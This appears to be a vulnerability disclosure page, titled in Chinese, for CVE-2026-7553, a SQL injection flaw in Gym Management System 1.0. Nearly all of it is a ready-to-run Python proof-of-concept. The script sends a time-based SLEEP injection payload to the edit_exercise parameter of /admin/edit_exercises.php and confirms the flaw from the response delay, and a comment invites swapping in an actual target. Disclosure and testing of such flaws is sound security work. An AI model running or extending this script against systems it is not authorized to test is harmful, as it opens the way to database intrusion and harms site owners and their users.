CVE-2026-7553 Gym Management System SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ PoC for CVE-2026-7553 SQL Injection in Gym Management System 1.0 Vulnerable File: /admin/edit_exercises.php Vulnerable Parameter: edit_exercise """ full_url = f"{target_url}/admin/edit_exercises.php" # Time-based SQL injection payload payload = "1 AND SLEEP(5)-- -" params = { "edit_exercise": payload } try: print(f"[+] Sending request to {full_url}...") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a successful delay (SQL Execution) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: Application responded with delay.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability not detected or WAF blocked.") print(f"[-] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli_vuln(target)